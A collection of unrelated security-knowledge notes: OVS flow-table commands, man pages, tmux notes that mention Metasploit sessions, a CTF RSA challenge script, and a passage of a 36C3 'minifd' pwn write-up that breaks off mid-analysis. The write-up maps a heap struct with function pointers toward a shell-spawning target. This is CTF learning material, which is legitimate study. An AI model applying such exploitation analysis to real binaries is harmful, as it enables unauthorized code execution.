``` ``` s2 --- s1 --- s3 h1 h2 h3 h4 ``` ``` pingall //测试 ``` --- **例4** #### 两个线性连接的交换机 使用 Mininet 和 OpenVswitch 构建拓扑,连接 ODL 的 6653 端口采用 Openflow1.3 协议 *下面的命令创建具有2个交换机,两个交换机下面个连一个主机,交换机之间再互连起来.* ``` sudo mn --topo linear --protocols=OpenFlow13 --controller remote,ip=127.0.0.1,port=6653 ``` ``` c0 s1--s2 h1 h2 ``` ``` pingall //测试 ``` --- ## 流表 ### 示例 流表操作在第三个窗口上进行,当然在 mininet 中可以在命令前加上 sh 运行 ***再提醒一下,流表操作在第三个窗口上进行,前面加 sudo*** ***如果在 mininet 中可以在命令前加上 sh 运行*** **例1** 通过 OVS 下发流表,H1 与 H2 可以互通,H1 与 H3 不能互通,但 H3 和 H4 之间可以互通. ``` ovs-vsctl show ovs-ofctl -O Openflow13 add-flow s2 'dl_type=0x0800,nw_src=10.0.0.1,nw_dst=10.0.0.3, priority=27,table=0,actions=drop' ``` 将主机1发给主机3的数据包丢弃 该流表项的匹配字段包括: - dl_type=0x0800(MAC帧上一层为IP协议) - nw_src=10.0.0.1(源IP地址为10.0.0.1) - nw_dst=10.0.0.3(目的IP地址为10.0.0.3) - 优先级 priority 设为27,高于其他流表,故优先执行; - table id 为0,即将该流表项下发到table 0中. - 该流表项表示:从主机 10.0.0.1 发往主机 10.0.0.3 的IP包将被抛弃. 查看控制器下发的流表项 ``` ovs-ofctl dump-flows s2 ``` ```bash mininet> pingall *** Ping: testing ping reachability h1 -> h2 X h4 h2 -> h1 h3 h4 h3 -> X h2 h4 h4 -> h1 h2 h3 *** Results: 16% dropped (10/12 received) ``` --- **例2** ``` s2 --- s1 --- s3 h1 h2 h3 h4 ``` H1 启动 HTTP-Server 功能,WEB 端口为 80,H2 作为 HTTP-Client,获取 H1 的 html 网页文件. ``` HTTPSERVER : h1 python -m SimpleHTTPServer 80 & HTTPCLIENT: h2 curl h1 ``` 通过 OVS 手工命令在 openflow:1 虚拟交换机下发流表,只允许下发一条流表,优先级为 priority=50 实现如下需求:H1 与 H2 可以互通,H1 与 H3 不能互通,但 H3 和 H4 之间可以互通. ``` ovs-ofctl -O Openflow13 add-flow s1 'dl_type=0x0800,nw_src=10.0.0.1,nw_dst=10.0.0.3, priority=50,table=0,actions=drop' ``` 将主机1发给主机3的数据包丢弃 用 iperf 工具测试 H3 和 H4 的带宽. ``` iperf h3 h4 ``` --- **例3** ``` s1 h1 h2 h3 ``` 通过 OVS 手工下发流表,H1 可以 ping 通 H3,H1 无法 ping 通 H2. ``` ovs-ofctl -O Openflow13 add-flow s1 'dl_type=0x0800,nw_src=10.0.0.1,nw_dst=10.0.0.2, priority=27,table=0,actions=drop' ``` 将主机1发给主机2的数据包丢弃 --- **例4** ``` s1 h1 h2 ``` 通过 OVS 手工下发流表,H1 和 H2 互通.H1 启动 HTTPSERVER 功能,WEB 端口为 4330,H2 作为 HTTPCLIENT,获取 H1 的 html 网页文件. ``` HTTPSERVER : h1 python -m SimpleHTTPServer 4330 & HTTPCLIENT: h2 curl h1 ``` 下发流表使得 H1 和 H2 不通 ``` ovs-ofctl -O Openflow13 add-flow s1 'dl_type=0x0800,nw_src=10.0.0.1,nw_dst=10.0.0.2, priority=27,table=0,actions=drop' ``` 将主机1发给主机2的数据包丢弃 --- **例5** ``` c0 s1--s2 h1 h2 ``` 通过 OVS 给S2下发流表,使得 H1 与 H2 无法互通. ``` ovs-ofctl -O Openflow13 add-flow s2 'dl_type=0x0800,nw_src=10.0.0.1,nw_dst=10.0.0.2, priority=27,table=0,actions=drop' ``` 将主机1发给主机2的数据包丢弃 --- ### 控制管理类 1. 查看网桥和端口 ``` ovs-vsctl show ``` 2. 创建一个网桥 ``` ovs-vsctl add-br br0 ovs-vsctl set bridge br0 datapath_type=netdev ``` 3. 添加/删除一个端口 ``` # for system interfaces ovs-vsctl add-port br0 eth1 ovs-vsctl del-port br0 eth1 # for DPDK ovs-vsctl add-port br0 dpdk1 -- set interface dpdk1 type=dpdk options:dpdk-devargs=0000:01:00.0 # for DPDK bonds ovs-vsctl add-bond br0 dpdkbond0 dpdk1 dpdk2 \ -- set interface dpdk1 type=dpdk options:dpdk-devargs=0000:01:00.0 \ -- set interface dpdk2 type=dpdk options:dpdk-devargs=0000:02:00.0 ``` 4. 设置/清除网桥的 openflow 协议版本 ``` ovs-vsctl set bridge br0 protocols=OpenFlow13 ovs-vsctl clear bridge br0 protocols ``` 5. 查看某网桥当前流表 ``` ovs-ofctl dump-flows br0 ovs-ofctl -O OpenFlow13 dump-flows br0 ovs-appctl bridge/dump-flows br0 ``` 6. 设置/删除控制器 ``` ovs-vsctl set-controller br0 tcp:1.2.3.4:6633 ovs-vsctl del-controller br0 ``` 7. 查看控制器列表 ``` ovs-vsctl list controller ``` 8. 设置/删除被动连接控制器 ``` ovs-vsctl set-manager tcp:1.2.3.4:6640 ovs-vsctl get-manager ovs-vsctl del-manager ``` 9. 设置/移除可选选项 ``` ovs-vsctl set Interface eth0 options:link_speed=1G ovs-vsctl remove Interface eth0 options link_speed ``` 10. 设置 fail 模式,支持 standalone 或者 secure - standalone(default):清除所有控制器下发的流表,ovs 自己接管 - secure:按照原来流表继续转发 ``` ovs-vsctl del-fail-mode br0 ovs-vsctl set-fail-mode br0 secure ovs-vsctl get-fail-mode br0 ``` 11. 查看接口 id 等 ``` ovs-appctl dpif/show ``` 12. 查看接口统计 ``` ovs-ofctl dump-ports br0 ``` ### 流表类 #### 流表操作 1. 添加普通流表 ``` ovs-ofctl add-flow br0 in_port=1,actions=output:2 ``` 2. 删除所有流表 ``` ovs-ofctl del-flows br0 ``` 3. 按匹配项来删除流表 ``` ovs-ofctl del-flows br0 "in_port=1" ``` #### 匹配项 1. 匹配 vlan tag,范围为 0-4095 ``` ovs-ofctl add-flow br0 priority=401,in_port=1,dl_vlan=777,actions=output:2 ``` 2. 匹配 vlan pcp,范围为 0-7 ``` ovs-ofctl add-flow br0 priority=401,in_port=1,dl_vlan_pcp=7,actions=output:2 ``` 3. 匹配源/目的 MAC ``` ovs-ofctl add-flow br0 in_port=1,dl_src=00:00:00:00:00:01/00:00:00:00:00:01,actions=output:2 ovs-ofctl add-flow br0 in_port=1,dl_dst=00:00:00:00:00:01/00:00:00:00:00:01,actions=output:2 ``` 4. 匹配以太网类型,范围为 0-65535 ``` ovs-ofctl add-flow br0 in_port=1,dl_type=0x0806,actions=output:2 ``` 5. 匹配源/目的 IP 条件:指定 dl_type=0x0800,或者 ip/tcp ``` ovs-ofctl add-flow br0 ip,in_port=1,nw_src=10.10.0.0/16,actions=output:2 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.20.0.0/16,actions=output:2 ``` 6. 匹配协议号,范围为 0-255 条件:指定 dl_type=0x0800 或者 ip/ICMP ``` ovs-ofctl add-flow br0 ip,in_port=1,nw_proto=1,actions=output:2 ``` 7. 匹配 IP ToS/DSCP,tos 范围为 0-255,DSCP 范围为 0-63 条件:指定 dl_type=0x0800/0x86dd,并且 ToS 低 2 位会被忽略(DSCP 值为 ToS 的高 6 位,并且低 2 位为预留位) ``` ovs-ofctl add-flow br0 ip,in_port=1,nw_tos=68,actions=output:2 ovs-ofctl add-flow br0 ip,in_port=1,ip_dscp=62,actions=output:2 ``` 8. 匹配 IP ecn 位,范围为 0-3 条件:指定 dl_type=0x0800/0x86dd ``` ovs-ofctl add-flow br0 ip,in_port=1,ip_ecn=2,actions=output:2 ``` 9. 匹配 IP TTL,范围为 0-255 ``` ovs-ofctl add-flow br0 ip,in_port=1,nw_ttl=128,actions=output:2 ``` 10. 匹配 tcp/udp,源/目的端口,范围为 0-65535 ``` # 匹配源 tcp 端口 179 ovs-ofctl add-flow br0 tcp,tcp_src=179/0xfff0,actions=output:2 # 匹配目的 tcp 端口 179 ovs-ofctl add-flow br0 tcp,tcp_dst=179/0xfff0,actions=output:2 # 匹配源 udp 端口 1234 ovs-ofctl add-flow br0 udp,udp_src=1234/0xfff0,actions=output:2 # 匹配目的 udp 端口 1234 ovs-ofctl add-flow br0 udp,udp_dst=1234/0xfff0,actions=output:2 ``` 11. 匹配 tcp flags tcp flags=fin,syn,rst,psh,ack,urg,ece,cwr,ns ``` ovs-ofctl add-flow br0 tcp,tcp_flags=ack,actions=output:2 ``` 12. 匹配 icmp code,范围为 0-255 条件:指定 icmp ``` ovs-ofctl add-flow br0 icmp,icmp_code=2,actions=output:2 ``` 13. 匹配 vlan TCI TCI 低 12 位为 vlan id,高 3 位为 priority,例如 tci=0xf123 则 vlan_id 为 0x123 和 vlan_pcp=7 ``` ovs-ofctl add-flow br0 in_port=1,vlan_tci=0xf123,actions=output:2 ``` 14. 匹配 mpls label 条件:指定 dl_type=0x8847/0x8848 ``` ovs-ofctl add-flow br0 mpls,in_port=1,mpls_label=7,actions=output:2 ``` 15. 匹配 mpls tc,范围为 0-7 条件:指定 dl_type=0x8847/0x8848 ``` ovs-ofctl add-flow br0 mpls,in_port=1,mpls_tc=7,actions=output:2 ``` 16. 匹配 tunnel id,源/目的 IP ``` # 匹配 tunnel id ovs-ofctl add-flow br0 in_port=1,tun_id=0x7/0xf,actions=output:2 # 匹配 tunnel 源 IP ovs-ofctl add-flow br0 in_port=1,tun_src=192.168.1.0/255.255.255.0,actions=output:2 # 匹配 tunnel 目的 IP ovs-ofctl add-flow br0 in_port=1,tun_dst=192.168.1.0/255.255.255.0,actions=output:2 ``` #### 指令动作 1. 动作为出接口 ```bash # 从指定接口转发出去 ovs-ofctl add-flow br0 in_port=1,actions=output:2 ``` 2. 动作为指定 group ```bash # group id 为已创建的 group table ovs-ofctl add-flow br0 in_port=1,actions=group:666 ``` 3. 动作为 normal ```bash # 转为 L2/L3 处理流程 ovs-ofctl add-flow br0 in_port=1,actions=normal ``` 4. 动作为 flood ```bash # 从所有物理接口转发出去,除了入接口和已关闭 flooding 的接口 ovs-ofctl add-flow br0 in_port=1,actions=flood ``` 5. 动作为 all ```bash # 从所有物理接口转发出去,除了入接口 ovs-ofctl add-flow br0 in_port=1,actions=all ``` 6. 动作为 local ```bash # 一般是转发给本地网桥 ovs-ofctl add-flow br0 in_port=1,actions=local ``` 7. 动作为 in_port ```bash # 从入接口转发回去 ovs-ofctl add-flow br0 in_port=1,actions=in_port ``` 8. 动作为 controller ```bash # 以 packet-in 消息上送给控制器 ovs-ofctl add-flow br0 in_port=1,actions=controller ``` 9. 动作为 drop ```bash # 丢弃数据包操作 ovs-ofctl add-flow br0 in_port=1,actions=drop ``` 10. 动作为 mod_vlan_vid ```bash # 修改报文的 vlan id,该选项会使 vlan_pcp 置为 0 ovs-ofctl add-flow br0 in_port=1,actions=mod_vlan_vid:8,output:2 ``` 11. 动作为 mod_vlan_pcp ```bash # 修改报文的 vlan 优先级,该选项会使 vlan_id 置为 0 ovs-ofctl add-flow br0 in_port=1,actions=mod_vlan_pcp:7,output:2 ``` 12. 动作为 strip_vlan ```bash # 剥掉报文内外层 vlan tag ovs-ofctl add-flow br0 in_port=1,actions=strip_vlan,output:2 ``` 13. 动作为 push_vlan ```bash # 在报文外层压入一层 vlan tag,需要使用 openflow1.1 以上版本兼容 ovs-ofctl add-flow -O OpenFlow13 br0 in_port=1,actions=push_vlan:0x8100,set_field:4097-\>vlan_vid,output:2 # set field 值为 4096+vlan_id,并且 vlan 优先级为 0,即 4096-8191,对应的vlan_id 为 0-4095 ``` 14. 动作为 push_mpls ```bash # 修改报文的 ethertype,并且压入一个 MPLS LSE ovs-ofctl add-flow br0 in_port=1,actions=push_mpls:0x8847,set_field:10-\>mpls_label,output:2 ``` 15. 动作为 pop_mpls ```bash # 剥掉最外层 mpls 标签,并且修改 ethertype 为非 mpls 类型 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_label=20,actions=pop_mpls:0x0800,output:2 ``` 16. 动作为修改源/目的 MAC,修改源/目的 IP ```bash # 修改源 MAC ovs-ofctl add-flow br0 in_port=1,actions=mod_dl_src:00:00:00:00:00:01,output:2 # 修改目的 MAC ovs-ofctl add-flow br0 in_port=1,actions=mod_dl_dst:00:00:00:00:00:01,output:2 # 修改源 IP ovs-ofctl add-flow br0 in_port=1,actions=mod_nw_src:192.168.1.1,output:2 # 修改目的 IP ovs-ofctl add-flow br0 in_port=1,actions=mod_nw_dst:192.168.1.1,output:2 ``` 17. 动作为修改 TCP/UDP/SCTP 源目的端口 ```bash # 修改 TCP 源端口 ovs-ofctl add-flow br0 tcp,in_port=1,actions=mod_tp_src:67,output:2 # 修改 TCP 目的端口 ovs-ofctl add-flow br0 tcp,in_port=1,actions=mod_tp_dst:68,output:2 # 修改 UDP 源端口 ovs-ofctl add-flow br0 udp,in_port=1,actions=mod_tp_src:67,output:2 # 修改 UDP 目的端口 ovs-ofctl add-flow br0 udp,in_port=1,actions=mod_tp_dst:68,output:2 ``` 18. 动作为 mod_nw_tos ```bash # 条件:指定 dl_type=0x0800 # 修改 ToS 字段的高 6 位,范围为 0-255,值必须为 4 的倍数,并且不会去修改 ToS 低 2 位 ecn 值 ovs-ofctl add-flow br0 ip,in_port=1,actions=mod_nw_tos:68,output:2 ``` 19. 动作为 mod_nw_ecn ```bash # 条件:指定 dl_type=0x0800,需要使用 openflow1.1 以上版本兼容 # 修改 ToS 字段的低 2 位,范围为 0-3,并且不会去修改 ToS 高 6 位的 DSCP 值 ovs-ofctl add-flow br0 ip,in_port=1,actions=mod_nw_ecn:2,output:2 ``` 20. 动作为 mod_nw_ttl ```bash # 修改 IP 报文 ttl 值,需要使用 openflow1.1 以上版本兼容 ovs-ofctl add-flow -O OpenFlow13 br0 in_port=1,actions=mod_nw_ttl:6,output:2 ``` 21. 动作为 dec_ttl ```bash # 对 IP 报文进行 ttl 自减操作 ovs-ofctl add-flow br0 in_port=1,actions=dec_ttl,output:2 ``` 22. 动作为 set_mpls_label ```bash # 对报文最外层 mpls 标签进行修改,范围为 20bit 值 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_label:666,output:2 ``` 23. 动作为 set_mpls_tc ```bash # 对报文最外层 mpls tc 进行修改,范围为 0-7 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_tc:7,output:2 ``` 24. 动作为 set_mpls_ttl ```bash # 对报文最外层 mpls ttl 进行修改,范围为 0-255 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_ttl:255,output:2 ``` 25. 动作为 dec_mpls_ttl ```bash # 对报文最外层 mpls ttl 进行自减操作 ovs-ofctl add-flow br0 in_port=1,actions=dec_mpls_ttl,output:2 ``` 26. 动作为 move NXM 字段 ```bash # 使用 move 参数对 NXM 字段进行操作 # 将报文源 MAC 复制到目的 MAC 字段,并且将源 MAC 改为 00:00:00:00:00:01 ovs-ofctl add-flow br0 in_port=1,actions=move:NXM_OF_ETH_SRC[]-\>NXM_OF_ETH_DST[],mod_dl_src:00:00:00:00:00:01,output:2 ``` 27. 动作为 load NXM 字段 ```bash # 使用 load 参数对 NXM 字段进行赋值操作 # push mpls label,并且把 10(0xa)赋值给 mpls label ovs-ofctl add-flow br0 in_port=1,actions=push_mpls:0x8847,load:0xa- \> oXM_OF_MPLS_LABEL[],output:2 # 对目的 MAC 进行赋值 ovs-ofctl add-flow br0 in_port=1,actions=load:0x001122334455-\> oXM_OF_ETH_DST[],output:2 ``` 28. 动作为 pop_vlan ```bash # 弹出报文最外层 vlan tag ovs-ofctl add-flow br0 in_port=1,dl_type=0x8100,dl_vlan=777,actions=pop_vlan,output:2 ```
sec-knowleage
slabtop === 实时显示内核slab内存缓存信息 ## 补充说明 **slabtop命令** 以实时的方式显示内核“slab”缓冲区的细节信息。 ### 语法 ```shell slabtop(选项) ``` ### 选项 ```shell --delay=n, -d n:每n秒更新一次显示的信息,默认是每3秒; --sort=S, -s S:指定排序标准进行排序(排序标准,参照下面或者man手册); --once, -o:显示一次后退出; --version, -V:显示版本; --help:显示帮助信息。 ``` 排序标准: * a: sort by number of active objects * b: sort by objects per slab * c: sort by cache size * l: sort by number of slabs * v:sort by number of active slabs * n: sort by name * o: sort by number of objects * p: sort by pages per slab * s: sort by object size * u: sort by cache utilization ### 知识扩展 内核的模块在分配资源的时候,为了提高效率和资源的利用率,都是透过slab来分配的。通过slab的信息,再配合源码能粗粗了解系统的运行情况,比如说什么资源有没有不正常的多,或者什么资源有没有泄漏。linux系统透过/proc/slabinfo来向用户暴露slab的使用情况。 Linux 所使用的 slab 分配器的基础是 Jeff Bonwick 为 SunOS 操作系统首次引入的一种算法。Jeff 的分配器是围绕对象缓存进行的。在内核中,会为有限的对象集(例如文件描述符和其他常见结构)分配大量内存。Jeff 发现对内核中普通对象进行初始化所需的时间超过了对其进行分配和释放所需的时间。因此他的结论是不应该将内存释放回一个全局的内存池,而是将内存保持为针对特定目而初始化的状态。Linux slab 分配器使用了这种思想和其他一些思想来构建一个在空间和时间上都具有高效性的内存分配器。 保存着监视系统中所有活动的 slab 缓存的信息的文件为/proc/slabinfo。 ### 实例 ```shell slabtop Active / Total Objects (% used) : 897519 / 1245930 (72.0%) Active / Total Slabs (% used) : 38605 / 38605 (100.0%) Active / Total Caches (% used) : 94 / 145 (64.8%) Active / Total Size (% used) : 129558.22K / 153432.58K (84.4%) Minimum / Average / Maximum Object : 0.01K / 0.12K / 128.00K OBJS ACTIVE USE OBJ SIZE SLABS OBJ/SLAB CACHE SIZE NAME 440136 171471 38% 0.05K 6113 72 24452K buffer_head 190086 148576 78% 0.05K 2437 78 9748K selinux_inode_security 151840 146366 96% 0.48K 18980 8 75920K ext3_inode_cache 144333 144143 99% 0.02K 711 203 2844K avtab_node 130529 128488 98% 0.13K 4501 29 18004K dentry_cache 99214 99071 99% 0.03K 878 113 3512K size-32 43834 28475 64% 0.27K 3131 14 12524K radix_tree_node 17818 9450 53% 0.06K 302 59 1208K size-64 4602 4562 99% 0.05K 59 78 236K sysfs_dir_cache 3220 2855 88% 0.08K 70 46 280K vm_area_struct 2460 2114 85% 0.12K 82 30 328K size-128 1564 1461 93% 0.04K 17 92 68K Acpi-Operand 1540 1540 100% 0.33K 140 11 560K inode_cache 1524 466 30% 0.01K 6 254 24K anon_vma 1440 515 35% 0.05K 20 72 80K avc_node 1440 1154 80% 0.19K 72 20 288K filp 1170 1023 87% 0.05K 15 78 60K ext3_xattr 845 724 85% 0.02K 5 169 20K Acpi-Namespace 638 315 49% 0.35K 58 11 232K proc_inode_cache 450 434 96% 0.25K 30 15 120K size-256 424 386 91% 0.50K 53 8 212K size-512 312 107 34% 0.05K 4 78 16K delayacct_cache 306 284 92% 0.43K 34 9 136K shmem_inode_cache 303 108 35% 0.04K 3 101 12K pid 300 261 87% 0.19K 15 20 60K skbuff_head_cache 300 300 100% 0.12K 10 30 40K bio 260 260 100% 32.00K 260 1 8320K size-32768 254 6 2% 0.01K 1 254 4K revoke_table 236 55 23% 0.06K 4 59 16K fs_cache 216 203 93% 1.00K 54 4 216K size-1024 214 214 100% 2.00K 107 2 428K size-2048 203 83 40% 0.02K 1 203 4K biovec-1 ```
sec-knowleage
# 26. 树的子结构 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/6e196c44c7004d15b1610b9afca8bd88?tpId=13&tqId=11170&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/84a5b15a-86c5-4d8e-9439-d9fd5a4699a1.jpg" width="450"/> </div><br> ## 解题思路 ```java public boolean HasSubtree(TreeNode root1, TreeNode root2) { if (root1 == null || root2 == null) return false; return isSubtreeWithRoot(root1, root2) || HasSubtree(root1.left, root2) || HasSubtree(root1.right, root2); } private boolean isSubtreeWithRoot(TreeNode root1, TreeNode root2) { if (root2 == null) return true; if (root1 == null) return false; if (root1.val != root2.val) return false; return isSubtreeWithRoot(root1.left, root2.left) && isSubtreeWithRoot(root1.right, root2.right); } ```
sec-knowleage
# Kipod After Free CTF 2019 Writeups for various challenges from the 2019 [Kipod After Free](https://play.kaf.sh) (KAF) CTF.
sec-knowleage
在写第五季的时候,vps 掉线了,ssh 重新登录后,无法切到 MSF session 下,想到部分同学如果在 vps 上操作也会遇到这个问题,故本季解决该问题。 ### tmux是什么? Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权。使用它最直观的好处就是,通过一个终端登录远程主机并运行tmux后,在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机。是BSD实现的Screen替代品,相对于Screen,它更加先进:支持屏幕切分,而且具备丰富的命令行参数,使其可以灵活、动态的进行各种布局和操作。 ### Tmux的使用场景 1. 可以某个程序在执行时一直是输出状态,需要结合nohup、&来放在后台执行,并且ctrl+c结束。这时可以打开一个Tmux窗口,在该窗口里执行这个程序,用来保证该程序一直在执行中,只要Tmux这个窗口不关闭 2. 公司需要备份数据库时,数据量巨大,备份两三天弄不完,这时不小心关闭了终端窗口或误操作就前功尽弃了,使用Tmux会话运行命令或任务,就不用担心这些问题。 3. 下班后,你需要断开ssh或关闭电脑,将运行的命令或任务放置后台运行。 4. 关闭终端,再次打开时原终端里面的任务进程依然不会中断 5. 在渗透过程中,意外因网络等原因ssh掉线,tmux可以恢复session会话 ![](media/d47fa61934f99368662fb6fb6dd39d84.jpg) ![](media/1b621f6005d83138d3a71662a08ac9d0.jpg) ![](media/49159b718def6a0fe947df35f156c680.jpg) ### tmux 常用操作命令: * tmux new -s session1 新建会话 * ctrl+b d 退出会话,回到shell的终端环境 //tmux detach-client * tmux ls 终端环境查看会话列表 * ctrl+b s 会话环境查看会话列表 * tmux a -t session1 从终端环境进入会话 * tmux kill-session -t session1 销毁会话 * tmux rename -t old_session_name new_session_name 重命名会话 * ctrl + b $ 重命名会话 (在会话环境中) 还原会话 ![](media/c3741ac0522e6ae0e9c0e232caf06aef.jpg) > Micropoor
sec-knowleage
.\" Copyright (c) 1989, 1990, 1993 .\" The Regents of the University of California. All rights reserved. .\" Chinese version Copyright (c) 苏勇 ysu@gnocis.org .\" .\" This code is derived from software contributed to Berkeley by .\" Kim Letkeman. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" @(#)cal.1 8.1 (Berkeley) 6/6/93 .\" .TH CAL 1 "June 6, 1993" .SH NAME cal, ncal \- 显示一个日历 .SH 总览 .B cal [ .B -mjy ] [ .IR 月份 ] [ .IR 年份 ] .SH 描述 显示一个简单的日历.. 如果没有指定参数, 则显示当前月份. 选项如下所列: .IP -m 显示星期一作为一周的第一天.. (缺省为星期日.) .IP -j 显示儒略历的(Julian)日期 (以 1 为基的天数, 从 1 月 1 日开始计数) . .IP -y 显示当前年份的日历.. .PP 一个单一的参数指定要显示的年份 (1 \- 9999) ; 注意年份必须被完全地指定: .B cal 89 .IR 不会 显示1989年的日历. 两个参数表示月份 (1 \- 12) 和年份. 如果没有指定参数, 则显示当前月份的日历. .PP 一年从Jan 1 (1 月 1 日) 开始. .PP 格里高利历法改革(Gregorian Reformation)被认为发生于 1752 年 9 月 3 日. 在此之前, 多数国家已经认可这项改革(尽管有一些直到 20 世纪初才认可它). 那天之后的 10 天在这项改革被略去了, 所以那个月的日历有点不太寻常. .SH 参见 .BR calendar (3), .BR strftime (3) .SH 历史 一个 命令出现于第6版 AT&T UNIX. .SH "[中文版维护人]" .B 苏勇 <ysu@gnocis.org> .SH "[中文版最新更新]" .B 2001/07/15 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
#!/usr/bin/env python3 import sys import random from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend def ReadPrivateKey(filename): return serialization.load_pem_private_key( open(filename, 'rb').read(), password=None, backend=default_backend()) def RsaDecrypt(private_key, ciphertext): assert (len(ciphertext) <= (private_key.public_key().key_size // 8)), 'Ciphertext too large' return pow( int.from_bytes(ciphertext, 'big'), private_key.private_numbers().d, private_key.public_key().public_numbers().n) def Challenge(private_key, reader, writer): try: m0 = reader.read(1) m1 = reader.read(1) ciphertext = reader.read(private_key.public_key().key_size // 8) dice = RsaDecrypt(private_key, ciphertext) for rounds in range(100): p = [m0, m1][dice & 1] k = random.randint(0, 2) c = (ord(p) + k) % 2 writer.write(bytes((c,))) writer.flush() return 0 except Exception as e: return 1 def main(): private_key = ReadPrivateKey(sys.argv[1]) return Challenge(private_key, sys.stdin.buffer, sys.stdout.buffer) if __name__ == '__main__': sys.exit(main())
sec-knowleage
# minifd Pwn, Medium ## Description > This is a simple file manager implementation supporting basic functionality to create, read, and write files. Please note: This is a prototype implementation. At this point of time, only 16 files can be managed at the same time. A binary file was attached. ## Solution Let's inspect the binary file: ```console root@kali:/media/sf_CTFs/36c3/minifd# file fd fd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=45aec24480e82735f7358d9263d10cafd4eda8f8, not stripped root@kali:/media/sf_CTFs/36c3/minifd# checksec.sh -f fd RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 85 Symbols Yes 2 4 fd ``` Let's run it: ```console root@kali:/media/sf_CTFs/36c3/minifd# ./fd ---------------------- Simple File Mananger ---------------------- This is a simple file manager implementation supporting basic functionality to create, read, and write files. Please note: This is a prototype implementation. At this point of time, only 16 files can be managed at the same time. The Simple File Manager supports the following operations. [1] list Print the file table [2] create <string> Create a file with name <string> [3] close <fd> Close the file with file descriptor <fd> [4] dup <fd> Duplicate a file descriptor <fd> [5] read <fd> <n> Read <n> bytes from the file with file descriptor <fd> [6] write <fd> <n> <string> Write <n> bytes to the file with file descriptor <fd> [7] exit Leave the Simple File Manager Enter the command you want to execute. [1] list [2] create <string> [3] close <fd> [4] dup <fd> [5] read <fd> <n> [6] write <fd> <n> <string> [7] exit > ``` We have here a simple file manager. Using Ghidra, we can inspect the implementation under the hood. We find that the file manager uses an array of 16 entries ("`files`") to hold information about the files in the file system. Each entry holds a pointer to a file context allocated on the heap. Using Ghidra's Structure Editor, we can reconstruct the file context structure based on the usage across the program, and redefine the type of the relevant pointers throughout the program to this reconstructed type. The file context structure and global file array are translated to: ```c typedef struct file_context { uint8_t reference_count; uint8_t reserved[3]; uint32_t data_length; uint8_t* p_data; char name[32]; void* p_close_func; void* p_read_func; void* p_write_func; void* p_dup_func; } file_context_t; file_context_t* files[16]; ``` Let's inspect the decompilation output of some important functions. The function we want to call is: ```c void spawn_shell(void) { long in_FS_OFFSET; char *local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_28 = "/bin/bash"; local_20 = 0; execve("/bin/bash",&local_28,(char **)0x0); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return; } // WARNING: Subroutine does not return __stack_chk_fail(); } ``` Obviously, it isn't called via the normal program flow. Now, let's take a look at the function that is responsible for file creation: ```c ulong create(char *file_name) { ulong i; file_context_t *local_RAX_77; ulong uVar1; if (files[0] == (file_context_t *)0x0) { uVar1 = 0; LAB_00400a71: local_RAX_77 = (file_context_t *)calloc(1,80); local_RAX_77->reference_count = '\x01'; local_RAX_77->data_length = 0; local_RAX_77->p_data = (char *)0x0; strncpy(local_RAX_77->name,file_name,31); *(code **)&local_RAX_77->p_close_func = c3ctf_file_close; *(code **)&local_RAX_77->p_read_func = c3ctf_file_read; *(code **)&local_RAX_77->p_write_func = c3ctf_file_write; *(code **)&local_RAX_77->p_dup_func = c3ctf_file_dup; files[(int)uVar1] = local_RAX_77; } else { i = 1; do { uVar1 = i & 0xffffffff; if (files[i] == (file_context_t *)0x0) { if ((int)i < 0) { return 0xffffffff; } goto LAB_00400a71; } i = i + 1; } while (i != 0x10); uVar1 = 0xffffffff; } return uVar1; } ``` Assuming there's a free slot in the array, the `create` command handler allocates 80 bytes for the context and saves the pointer. The context is populated with a reference count of 1, some function pointers and a bit more metadata. The function pointers are called from within other command handlers. Writing a file: ```c undefined8 do_write(int file_fd,uint new_data_length,char *p_new_data) { file_context_t *pfVar1; pfVar1 = 